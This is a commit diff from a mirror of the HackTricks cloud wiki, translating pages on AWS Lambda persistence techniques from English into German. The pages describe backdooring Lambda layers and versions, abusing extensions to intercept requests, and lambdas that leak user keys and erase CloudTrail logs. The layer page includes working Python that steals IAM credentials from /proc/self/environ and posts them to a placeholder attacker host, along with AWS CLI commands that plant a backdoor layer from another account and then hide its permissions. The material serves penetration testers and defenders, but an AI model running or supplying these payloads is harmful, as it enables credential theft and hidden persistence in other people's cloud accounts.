mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
Es ist möglich, **eine Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,49 +20,45 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda persistent zu bleiben, aber auch Anfragen zu stehlen und zu modifizieren.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via resource policies
|
||||
### Über Ressourcenrichtlinien
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
Es ist möglich, den Zugriff auf verschiedene Lambda-Aktionen (wie Invoke oder Update Code) für externe Konten zu gewähren:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
### Versionen, Aliase & Gewichte
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
Eine Lambda kann **verschiedene Versionen** haben (mit unterschiedlichem Code in jeder Version).\
|
||||
Dann können Sie **verschiedene Aliase mit unterschiedlichen Versionen** der Lambda erstellen und jedem unterschiedliche Gewichte zuweisen.\
|
||||
Auf diese Weise könnte ein Angreifer eine **hintertürige Version 1** und eine **Version 2 mit nur dem legitimen Code** erstellen und **nur die Version 1 in 1%** der Anfragen ausführen, um stealthy zu bleiben.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
1. Kopiere den ursprünglichen Code der Lambda
|
||||
2. **Erstelle eine neue Version, die den** ursprünglichen Code hintertürt (oder nur mit bösartigem Code). Veröffentliche und **deploye diese Version** auf $LATEST
|
||||
1. Rufe das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen
|
||||
3. **Erstelle eine neue Version mit dem ursprünglichen Code**, veröffentliche und deploye diese **Version** auf $LATEST.
|
||||
1. Dies wird den hintertürigen Code in einer vorherigen Version verbergen
|
||||
4. Gehe zum API Gateway und **erstelle eine neue POST-Methode** (oder wähle eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Beachte das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein).
|
||||
5. Wähle die erstellte POST-Methode aus und wähle in Aktionen **`API bereitstellen`**
|
||||
6. Jetzt, wenn du **die Funktion über POST aufrufst, wird deine Hintertür** aktiviert
|
||||
|
||||
### Cron/Event actuator
|
||||
### Cron/Event-Aktuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
Die Tatsache, dass du **Lambda-Funktionen ausführen kannst, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\
|
||||
Hier sind einige Ideen, um deine **Präsenz in AWS stealthy zu gestalten, indem du Lambdas erstellst**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerschlüssel und sendet ihn an den Angreifer.
|
||||
- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda den kompromittierten Benutzern die Berechtigung, Rollen zu übernehmen.
|
||||
- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, lösche/ändere sie.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,42 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Missbrauch von Lambda-Erweiterungen
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Lambda-Erweiterungen
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Lambda-Erweiterungen verbessern Funktionen, indem sie sich mit verschiedenen **Überwachungs-, Beobachtungs-, Sicherheits- und Governance-Tools** integrieren. Diese Erweiterungen, die über [.zip-Archive mit Lambda-Schichten](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) hinzugefügt oder in [Container-Image-Bereitstellungen](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) enthalten sind, arbeiten in zwei Modi: **intern** und **extern**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **Interne Erweiterungen** fusionieren mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**.
|
||||
- **Externe Erweiterungen** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Laufzeiten wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Laufzeiten** kompatibel.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Für weitere Informationen darüber, [**wie Lambda-Erweiterungen funktionieren, siehe die Dokumentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### Externe Erweiterung für Persistenz, Stehlen von Anfragen & Modifizieren von Anfragen
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
Dies ist eine Zusammenfassung der Technik, die in diesem Beitrag vorgeschlagen wird: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Es wurde festgestellt, dass der Standard-Linux-Kernel in der Lambda-Laufzeitumgebung mit den Systemaufrufen “**process_vm_readv**” und “**process_vm_writev**” kompiliert ist. Und alle Prozesse laufen mit derselben Benutzer-ID, selbst der neue Prozess, der für die externe Erweiterung erstellt wurde. **Das bedeutet, dass eine externe Erweiterung vollen Lese- und Schreibzugriff auf den Heap-Speicher von Rapid hat, per Design.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
Darüber hinaus haben Lambda-Erweiterungen die Fähigkeit, **sich für Aufrufereignisse anzumelden**, jedoch gibt AWS die Rohdaten nicht an diese Erweiterungen weiter. Dies stellt sicher, dass **Erweiterungen keinen Zugriff auf sensible Informationen** haben, die über die HTTP-Anfrage übertragen werden.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Der Init (Rapid)-Prozess überwacht alle API-Anfragen unter [http://127.0.0.1:9001](http://127.0.0.1:9001/), während Lambda-Erweiterungen initialisiert und vor der Ausführung von Laufzeitcode, aber nach Rapid, ausgeführt werden.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **Kindlaufzeitprozesse** und zusätzliche Erweiterungen weiter.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**Man-in-the-Middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
Da **Erweiterungen vor jedem Laufzeitcode** ausgeführt werden, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** zu stehlen und sie sogar **zu modifizieren**.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,79 +4,72 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
Ein Lambda-Layer ist ein .zip-Dateiarchiv, das **zusätzlichen Code** oder andere Inhalte **enthalten kann**. Ein Layer kann Bibliotheken, eine [benutzerdefinierte Laufzeit](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), Daten oder Konfigurationsdateien enthalten.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
Es ist möglich, bis zu **fünf Layers pro Funktion** einzuschließen. Wenn Sie einen Layer in einer Funktion einfügen, werden die **Inhalte im Verzeichnis `/opt`** der Ausführungsumgebung extrahiert.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
Standardmäßig sind die **Layers**, die Sie erstellen, **privat** für Ihr AWS-Konto. Sie können wählen, ob Sie einen Layer mit anderen Konten **teilen** oder den Layer **öffentlich** machen möchten. Wenn Ihre Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können Ihre Funktionen **die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf den Layer widerrufen wurde**. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
|
||||
Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Schichten** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
> Wenn es einem Angreifer gelingt, eine verwendete Lambda **Schicht** zu **backdoor** oder eine hinzuzufügen, die **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jedem Lambda-Aufruf bösartigen Code ausführen.
|
||||
|
||||
Therefore, the requisites are:
|
||||
Daher sind die Voraussetzungen:
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
- **Überprüfen Sie Bibliotheken**, die vom Code der Opfer **geladen** werden
|
||||
- Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Schichten**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**.
|
||||
|
||||
### Preloaded libraries
|
||||
### Vorgebundene Bibliotheken
|
||||
|
||||
> [!WARNING]
|
||||
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
> Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind **bereits geladen**, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie `os` oder `sys` zu finden, aber **sogar die `json`-Bibliothek war geladen**.\
|
||||
> Um diese Persistenztechnik auszunutzen, muss der Code eine **neue Bibliothek laden, die nicht geladen ist**, wenn der Code ausgeführt wird.
|
||||
|
||||
Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, im Python-Laufzeitumfeld in Lambda zu erhalten:
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
Und dies ist die **Liste** (überprüfen Sie, ob Bibliotheken wie `os` oder `json` bereits vorhanden sind)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
Und dies ist die Liste der **Bibliotheken**, die **lambda standardmäßig installiert**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
In diesem Beispiel nehmen wir an, dass der angezielte Code **`csv`** importiert. Wir werden **den Import der `csv`-Bibliothek backdooren**.
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
Um dies zu tun, werden wir das Verzeichnis **csv** mit der Datei **`__init__.py`** darin in einem Pfad erstellen, der von lambda geladen wird: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Dann, wenn die lambda ausgeführt wird und versucht, **csv** zu laden, wird unsere **`__init__.py`-Datei geladen und ausgeführt**.\
|
||||
Diese Datei muss:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
- Unser Payload ausführen
|
||||
- Die originale csv-Bibliothek laden
|
||||
|
||||
Wir können beides mit:
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
@@ -90,29 +83,27 @@ import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
Dann erstellen Sie ein Zip mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie es als Lambda-Schicht hinzu.
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
Sie finden diesen Code unter [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
Die integrierte Payload wird **die IAM-Credentials an einen Server SENDEN, BEIM ERSTEN AUFRUF oder NACH EINEM RESET DES LAMBDA-Containers** (Änderung des Codes oder kaltes Lambda) senden, aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### External Layers
|
||||
### Externe Schichten
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
Es ist zu beachten, dass es möglich ist, **Lambda-Schichten von externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht von einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\
|
||||
Es ist auch zu beachten, dass die **maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt**.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
- Backdoor an existing layer of the user (nothing is external)
|
||||
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
- The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern:
|
||||
|
||||
- Eine bestehende Schicht des Benutzers backdoor (nichts ist extern)
|
||||
- **Eine** **Schicht** in **seinem Konto** erstellen, dem **Opferkonto Zugriff** auf die Verwendung der Schicht gewähren, die **Schicht** im Lambda des Opfers **konfigurieren** und die **Berechtigung entfernen**.
|
||||
- Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Rev-Shell innerhalb des Lambdas).
|
||||
- Das Opfer **wird keine externen Schichten** sehen, die mit **`aws lambda list-layers`** verwendet werden.
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user